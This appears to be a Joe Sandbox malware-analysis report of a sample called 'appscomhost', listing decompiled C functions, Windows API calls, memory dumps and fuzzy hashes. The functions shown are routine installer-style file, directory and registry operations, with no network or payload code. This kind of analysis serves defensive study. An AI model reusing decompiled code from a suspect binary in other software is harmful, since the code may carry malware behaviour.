0x004025ac
0x004025af
0x004025b2
0x00402925
0x004025b8
0x004025c0
0x004025c3
0x004025dc
0x004025e2
0x004025e4
0x004025e6
0x004025e6
0x004025c5
0x004025c9
0x004025c9
0x004025ed
0x004025f4
0x004025f5
0x004025f5
0x00402bc5
0x00402bd1

APIs

RegEnumKeyW.ADVAPI32(00000000,00000000,?,00001FFF), ref: 004025C9
RegEnumValueW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,00020019), ref: 004025DC
RegCloseKey.KERNELBASE(?,?,?,004125F0,00000000,?,00000000,00000002,00000011,00000002), ref: 004025F5

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: Enum$CloseValue
String ID:
API String ID: 397863658-0
Opcode ID: c633d32f0746bb21fb3ab88b2c9de02c6a437dfd5c59b9ea01ebbb7011e29231
Instruction ID: bbc51e3461f88febf07b4bd725968414a9115efbe7fee402e511eaef71bee0f3
Opcode Fuzzy Hash: c633d32f0746bb21fb3ab88b2c9de02c6a437dfd5c59b9ea01ebbb7011e29231
Instruction Fuzzy Hash: 35017CB1A01504BBEB149FA49E48AAEB77CEF40348F10403EF501B61C0D7F84E40866D

Uniqueness

Uniqueness Score: -1.00%

Function 00405ADB, Relevance: 4.5, APIs: 3, Instructions: 28
fileCOMMON

Download Yara Rule

C-Code - Quality: 41%

			E00405ADB(void* __eflags, WCHAR* _a4, signed int _a8) {
				int _t9;
				long _t13;
				WCHAR* _t14;

				_t14 = _a4;
				_t13 = E00405EE2(_t14);
				if(_t13 == 0xffffffff) {
					L8:
					return 0;
				}
				_push(_t14);
				if((_a8 & 0x00000001) == 0) {
					_t9 = DeleteFileW(); // executed
				} else {
					_t9 = RemoveDirectoryW(); // executed
				}
				if(_t9 == 0) {
					if((_a8 & 0x00000004) == 0) {
						SetFileAttributesW(_t14, _t13);
					}
					goto L8;
				} else {
					return 1;
				}
			}

0x00405adc
0x00405ae7
0x00405aec
0x00405b1c
0x00000000
0x00405b1c
0x00405af3
0x00405af4
0x00405afe
0x00405af6
0x00405af6
0x00405af6
0x00405b06
0x00405b12
0x00405b16
0x00405b16
0x00000000
0x00405b08
0x00000000
0x00405b0a

APIs

Part of subcall function 00405EE2: GetFileAttributesW.KERNELBASE(?,?,00405AE7,?,?,00000000,00405CBD,?,?,?,?), ref: 00405EE7
Part of subcall function 00405EE2: SetFileAttributesW.KERNELBASE(?,00000000), ref: 00405EFB

RemoveDirectoryW.KERNELBASE(?,?,?,00000000,00405CBD), ref: 00405AF6
DeleteFileW.KERNELBASE(?,?,?,00000000,00405CBD), ref: 00405AFE
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405B16

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: File$Attributes$DeleteDirectoryRemove
String ID:
API String ID: 1655745494-0
Opcode ID: 8eed124eda4cbc8430ddba83c09443e031bc029d4ce3365f7fb32bc961faff32
Instruction ID: 7e5b8568f5e1827fb47b680563aec1ca45d622ef9644398f98c88bac322b3e2d
Opcode Fuzzy Hash: 8eed124eda4cbc8430ddba83c09443e031bc029d4ce3365f7fb32bc961faff32
Instruction Fuzzy Hash: 1FE0E531219A505AC250A7708D0CB5F3DE8EFC6314F04093AF891B10D4D778A806CA6D

Uniqueness

Uniqueness Score: -1.00%

Function 004015C1, Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E004015C1(short __ebx, void* __eflags) {
				void* _t17;
				int _t23;
				void* _t25;
				signed char _t26;
				short _t28;
				short _t31;
				short* _t34;
				void* _t36;

				_t28 = __ebx;
				 *(_t36 + 8) = E00402D3E(0xfffffff0);
				_t17 = E00405D91(_t16);
				_t32 = _t17;
				if(_t17 != __ebx) {
					do {
						_t34 = E00405D13(_t32, 0x5c);
						_t31 =  *_t34;
						 *_t34 = _t28;
						if(_t31 != _t28) {
							L5:
							_t25 = E004059C5( *(_t36 + 8));
						} else {
							_t42 =  *((intOrPtr*)(_t36 - 0x28)) - _t28;
							if( *((intOrPtr*)(_t36 - 0x28)) == _t28 || E004059E2(_t42) == 0) {
								goto L5;
							} else {
								_t25 = E00405948( *(_t36 + 8)); // executed
							}
						}
						if(_t25 != _t28) {
							if(_t25 != 0xb7) {
								L9:
								 *((intOrPtr*)(_t36 - 4)) =  *((intOrPtr*)(_t36 - 4)) + 1;
							} else {
								_t26 = GetFileAttributesW( *(_t36 + 8)); // executed
								if((_t26 & 0x00000010) == 0) {
									goto L9;
								}
							}
						}
						 *_t34 = _t31;
						_t32 = _t34 + 2;
					} while (_t31 != _t28);
				}
				if( *((intOrPtr*)(_t36 - 0x2c)) == _t28) {
					_push(0xfffffff5);
					E00401423();
				} else {
					E00401423(0xffffffe6);
					E00406411(0x4d4000,  *(_t36 + 8));
					_t23 = SetCurrentDirectoryW( *(_t36 + 8)); // executed
					if(_t23 == 0) {
						 *((intOrPtr*)(_t36 - 4)) =  *((intOrPtr*)(_t36 - 4)) + 1;
					}
				}
				 *0x47afa8 =  *0x47afa8 +  *((intOrPtr*)(_t36 - 4));
				return 0;
			}

0x004015c1
0x004015c9
0x004015cc
0x004015d1
0x004015d5
0x004015d7
0x004015df
0x004015e1
0x004015e4
0x004015ea
0x00401604
0x00401607
0x004015ec
0x004015ec
0x004015ef
0x00000000
0x004015fa
0x004015fd
0x004015fd
0x004015ef
0x0040160e
0x00401615
0x00401624
0x00401624
0x00401617
0x0040161a
0x00401622
0x00000000
0x00000000
0x00401622
0x00401615
0x00401627
0x0040162b
0x0040162c
0x004015d7
0x00401634
0x00401663
0x004022e9
0x00401636
0x00401638
0x00401645
0x0040164d
0x00401655
0x0040165b
0x0040165b
0x00401655
0x00402bc5
0x00402bd1

APIs

Part of subcall function 00405D91: CharNextW.USER32(?,?,00464270,?,00405E05,00464270,00464270,74B5FAA0,?,004E0000,00405B43,?,74B5FAA0,004E0000,00000000), ref: 00405D9F
Part of subcall function 00405D91: CharNextW.USER32(00000000), ref: 00405DA4
Part of subcall function 00405D91: CharNextW.USER32(00000000), ref: 00405DBC

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 0040161A

Part of subcall function 00405948: CreateDirectoryW.KERNELBASE(?,?,004E0000), ref: 0040598B

SetCurrentDirectoryW.KERNELBASE(?,004D4000,?,00000000,000000F0), ref: 0040164D

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID:
API String ID: 1892508949-0
Opcode ID: 76dfff8efb2de496f47b226fdc3f8b969aecd9f040744e952bef27a65a5a87af
Instruction ID: 556f237ab8e6021ec403a9f5eaacb6b3bc2d3b49130c209fd9a3613da9f5c751
Opcode Fuzzy Hash: 76dfff8efb2de496f47b226fdc3f8b969aecd9f040744e952bef27a65a5a87af
Instruction Fuzzy Hash: 7711DD31504110EBCF206FA5CD4199F37B0EF25329B28493BEA51B22E1DA3E49819A5E

Uniqueness

Uniqueness Score: -1.00%

Function 00402522, Relevance: 3.1, APIs: 2, Instructions: 56
registryCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E00402522(int* __ebx, char* __edi) {
				void* _t17;
				short* _t18;
				long _t21;
				void* _t35;
				void* _t37;
				void* _t40;

				_t33 = __edi;
				_t27 = __ebx;
				_t17 = E00402D7E(_t40, 0x20019); // executed
				_t35 = _t17;
				_t18 = E00402D3E(0x33);
				 *__edi = __ebx;
				if(_t35 == __ebx) {
					 *(_t37 - 4) = 1;
				} else {
					 *(_t37 - 0x10) = 0x4000;
					_t21 = RegQueryValueExW(_t35, _t18, __ebx, _t37 + 8, __edi, _t37 - 0x10); // executed
					if(_t21 != 0) {
						L7:
						 *_t33 = _t27;
						 *(_t37 - 4) = 1;
					} else {
						if( *(_t37 + 8) == 4) {
							__eflags =  *(_t37 - 0x20) - __ebx;
							 *(_t37 - 4) = 0 |  *(_t37 - 0x20) == __ebx;
							E00406358(__edi,  *__edi);
						} else {
							if( *(_t37 + 8) == 1 ||  *(_t37 + 8) == 2) {
								 *(_t37 - 4) =  *(_t37 - 0x20);
								_t33[0x3ffe] = _t27;
							} else {
								goto L7;
							}
						}
					}
					_push(_t35); // executed
					RegCloseKey(); // executed
				}
				 *0x47afa8 =  *0x47afa8 +  *(_t37 - 4);
				return 0;
			}

0x00402522
0x00402522
0x00402527
0x0040252e
0x00402530
0x00402537
0x0040253a
0x00402925
0x00402540
0x00402543
0x00402553
0x0040255e
0x0040258e
0x0040258e
0x00402591
0x00402560
0x00402564
0x0040257d
0x00402584
0x00402587
0x00402566
0x00402569
0x00402574
0x004025ed
0x00000000
0x00000000
0x00000000
0x00402569
0x00402564
0x004025f4
0x004025f5
0x004025f5
0x00402bc5
0x00402bd1

APIs

RegQueryValueExW.KERNELBASE(00000000,00000000,?,?,?,?,?,?,?,00000033,00020019), ref: 00402553
RegCloseKey.KERNELBASE(?,?,?,004125F0,00000000,?,00000000,00000002,00000011,00000002), ref: 004025F5

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: CloseQueryValue
String ID:
API String ID: 3356406503-0
Opcode ID: c0ff76c3b453b6b651d8419f2231ae710e48095e9ee3b2b599542ed3163a6b5a
Instruction ID: b6db81818bcd9b81ac29acdee6718fb1c6f531931a6459837b0af2d4798f0e65
Opcode Fuzzy Hash: c0ff76c3b453b6b651d8419f2231ae710e48095e9ee3b2b599542ed3163a6b5a
Instruction Fuzzy Hash: 8E116AB1900209EBCF14DFA4DA589AEB774FF04344B20443BE402B62C0D3B88A44DB5E

Uniqueness

Uniqueness Score: -1.00%

Function 00401389, Relevance: 3.0, APIs: 2, Instructions: 43
windowCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E00401389(signed int _a4, struct HWND__* _a10) {
				intOrPtr* _t6;
				void* _t8;
				void* _t10;
				signed int _t11;
				void* _t12;
				signed int _t16;
				signed int _t17;

				_t17 = _a4;
				while(_t17 >= 0) {
					_t6 = _t17 * 0x1c +  *0x47af50;
					if( *_t6 == 1) {
						break;
					}
					_push(_t6); // executed
					_t8 = E00401434(); // executed
					if(_t8 == 0x7fffffff) {
						return 0x7fffffff;
					}
					_t10 = E0040136D(_t8);
					if(_t10 != 0) {
						_t11 = _t10 - 1;
						_t16 = _t17;
						_t17 = _t11;
						_t12 = _t11 - _t16;
					} else {
						_t12 = _t10 + 1;
						_t17 = _t17 + 1;
					}
					if(_a10 != 0) {
						 *0x472eec =  *0x472eec + _t12;
						SendMessageW(_a10, 0x402, MulDiv( *0x472eec, 0x7530,  *0x472ed4), 0);
					}
				}
				return 0;
			}

0x0040138a
0x004013fa
0x0040139b
0x004013a0
0x00000000
0x00000000
0x004013a2
0x004013a3
0x004013ad
0x00000000
0x00401404
0x004013b0
0x004013b7
0x004013bd
0x004013be
0x004013c0
0x004013c2
0x004013b9
0x004013b9
0x004013ba
0x004013ba
0x004013c9
0x004013cb
0x004013f4
0x004013f4
0x004013c9
0x00000000

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(00000402,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 08a985e6749a6a10d275e957bf21df6d87c6510ed962512329eee629cdd6a9d3
Instruction ID: bdac437b947c205c47720113e8d2d8674a7110c76d71f3258dccb6f8a22127f9
Opcode Fuzzy Hash: 08a985e6749a6a10d275e957bf21df6d87c6510ed962512329eee629cdd6a9d3
Instruction Fuzzy Hash: 7101F431A242209BE7094B389E05B2A3698E710318F10823FF859F65F1E6B8CC829B4C

Uniqueness

Uniqueness Score: -1.00%

Function 00406806, Relevance: 3.0, APIs: 2, Instructions: 22
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406806(signed int _a4) {
				struct HINSTANCE__* _t5;
				signed int _t10;

				_t10 = _a4 << 3;
				_t8 =  *(_t10 + 0x40a3e0);
				_t5 = GetModuleHandleA( *(_t10 + 0x40a3e0));
				if(_t5 != 0) {
					L2:
					return GetProcAddress(_t5,  *(_t10 + 0x40a3e4));
				}
				_t5 = E00406796(_t8); // executed
				if(_t5 == 0) {
					return 0;
				}
				goto L2;
			}

0x0040680e
0x00406811
0x00406818
0x00406820
0x0040682c
0x00000000
0x00406833
0x00406823
0x0040682a
0x00000000
0x0040683b
0x00000000

APIs

GetModuleHandleA.KERNEL32(?,00000020,?,00403537,0000000B), ref: 00406818
GetProcAddress.KERNEL32(00000000,?), ref: 00406833

Part of subcall function 00406796: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004067AD
Part of subcall function 00406796: wsprintfW.USER32 ref: 004067E8
Part of subcall function 00406796: LoadLibraryExW.KERNELBASE(?,00000000,00000008), ref: 004067FC

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: 6f78d3fdf53352f122fdb8e7e1f438bdfac4fae158339a91a146711bf240c1a4
Instruction ID: c5f632ab0fd527bf8e68b4786b10832766149758e6d8e51d9ba55f9b7eb13659
Opcode Fuzzy Hash: 6f78d3fdf53352f122fdb8e7e1f438bdfac4fae158339a91a146711bf240c1a4
Instruction Fuzzy Hash: 30E0863350421056E211AA746E44C7B77A89F99750307843EF956F2080D738DC359679

Uniqueness

Uniqueness Score: -1.00%

Function 00403A4B, Relevance: 3.0, APIs: 2, Instructions: 19
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403A4B() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t8;

				_t8 =  *0x44022c;
				_t3 = E00403A30(_t2, 0);
				if(_t8 != 0) {
					do {
						_t6 = _t8;
						_t8 =  *_t8;
						FreeLibrary( *(_t6 + 8)); // executed
						_t3 = GlobalFree(_t6);
					} while (_t8 != 0);
				}
				 *0x44022c =  *0x44022c & 0x00000000;
				return _t3;
			}

0x00403a4c
0x00403a54
0x00403a5b
0x00403a5e
0x00403a5e
0x00403a60
0x00403a65
0x00403a6c
0x00403a72
0x00403a76
0x00403a77
0x00403a7f

APIs

FreeLibrary.KERNELBASE(?,74B5FAA0,00000000,004E0000,00403A23,00403839,00000007,?,00000007,00000009,0000000B), ref: 00403A65
GlobalFree.KERNEL32 ref: 00403A6C

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID:
API String ID: 1100898210-0
Opcode ID: 702652c335663dd25e2782fb829284d08e6f20bafd5457c3fdd499a1d0223c81
Instruction ID: 9ccbeef7b66f1292eec617c80fa60b6d2aa62a7a7f90d3783ec6a75328a2be70
Opcode Fuzzy Hash: 702652c335663dd25e2782fb829284d08e6f20bafd5457c3fdd499a1d0223c81
Instruction Fuzzy Hash: 5EE0C23361202057C6219F55FE08B6AB76C6F49B32F12007EE9C07B2A087B45C424FCC

Uniqueness

Uniqueness Score: -1.00%

Function 00405F07, Relevance: 3.0, APIs: 2, Instructions: 16
fileCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00405F07(WCHAR* _a4, long _a8, long _a12) {
				signed int _t5;
				void* _t6;

				_t5 = GetFileAttributesW(_a4); // executed
				asm("sbb ecx, ecx");
				_t6 = CreateFileW(_a4, _a8, 1, 0, _a12,  ~(_t5 + 1) & _t5, 0); // executed
				return _t6;
			}

0x00405f0b
0x00405f18
0x00405f2d
0x00405f33

APIs

GetFileAttributesW.KERNELBASE(004E8000,00403055,004E8000,80000000,00000003,?,00000007,00000009,0000000B), ref: 00405F0B
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,00000007,00000009,0000000B), ref: 00405F2D

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 080dfadfdaad2818d5b04c51cfada36c475993ea7ffea5996e238fb5a0e3a6c4
Instruction ID: 1030bc0f2bf25390ef9c6131bda9d6cfedcac9e68b753c15eded60bf4a570351
Opcode Fuzzy Hash: 080dfadfdaad2818d5b04c51cfada36c475993ea7ffea5996e238fb5a0e3a6c4
Instruction Fuzzy Hash: 5ED09E31254201AFEF098F20DE16F2E7BA2EB94B04F11552CB786941E0DAB15C199B15

Uniqueness

Uniqueness Score: -1.00%

Function 00405EE2, Relevance: 3.0, APIs: 2, Instructions: 13
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405EE2(WCHAR* _a4) {
				signed char _t3;
				signed char _t7;

				_t3 = GetFileAttributesW(_a4); // executed
				_t7 = _t3;
				if(_t7 != 0xffffffff) {
					SetFileAttributesW(_a4, _t3 & 0x000000fe); // executed
				}
				return _t7;
			}

0x00405ee7
0x00405eed
0x00405ef2
0x00405efb
0x00405efb
0x00405f04

APIs

GetFileAttributesW.KERNELBASE(?,?,00405AE7,?,?,00000000,00405CBD,?,?,?,?), ref: 00405EE7
SetFileAttributesW.KERNELBASE(?,00000000), ref: 00405EFB

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: a764032cc0ce64e7f87df91ab84dfb27e8fca44cfd77f22972d2dc2d25b91850
Instruction ID: 11a24c4abb36edafbee48cc994cb64d758a4bce1ebd63d049f972be52462095a
Opcode Fuzzy Hash: a764032cc0ce64e7f87df91ab84dfb27e8fca44cfd77f22972d2dc2d25b91850
Instruction Fuzzy Hash: C7D0C9725045316BC2102728AF0889BBB55EB643717054A35F9A5A22B0CB314C528A98

Uniqueness

Uniqueness Score: -1.00%

Function 004059C5, Relevance: 3.0, APIs: 2, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004059C5(WCHAR* _a4) {
				int _t2;

				_t2 = CreateDirectoryW(_a4, 0); // executed
				if(_t2 == 0) {
					return GetLastError();
				}
				return 0;
			}

0x004059cb
0x004059d3
0x00000000
0x004059d9
0x00000000

APIs

CreateDirectoryW.KERNELBASE(?,00000000,004034B8,004E0000,004E0000,004E0000,004E0000,004E0000,0040370F,?,00000007,00000009,0000000B), ref: 004059CB
GetLastError.KERNEL32(?,00000007,00000009,0000000B), ref: 004059D9

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: a5afa482e644e9a10fedfab033ae5dbb8931bf23a9e1c5533d9f8c1a63861871
Instruction ID: 1e5fcd6d8aa83e7c3539c134ce858d200345c8ad9b438ef6e258ac5dd368824a
Opcode Fuzzy Hash: a5afa482e644e9a10fedfab033ae5dbb8931bf23a9e1c5533d9f8c1a63861871
Instruction Fuzzy Hash: 27C04C71204541EEE6505B20AE09B177A909B50751F26843A6147F01A0DA388455E93D

Uniqueness

Uniqueness Score: -1.00%

Function 004062AC, Relevance: 1.5, APIs: 1, Instructions: 24
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004062AC(void* __eflags, intOrPtr _a4, short* _a8, int _a12, void** _a16) {
				void* _t7;
				long _t8;
				void* _t9;

				_t7 = E00406203(_a4,  &_a12);
				if(_t7 != 0) {
					_t8 = RegCreateKeyExW(_t7, _a8, 0, 0, 0, _a12, 0, _a16, 0); // executed
					return _t8;
				}
				_t9 = 6;
				return _t9;
			}

0x004062b6
0x004062bf
0x004062d5
0x00000000
0x004062d5
0x004062c3
0x00000000

APIs

RegCreateKeyExW.KERNELBASE(00000000,?,00000000,00000000,00000000,?,00000000,?,00000000,?,?,?,00402DEF,00000000,?,?), ref: 004062D5

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
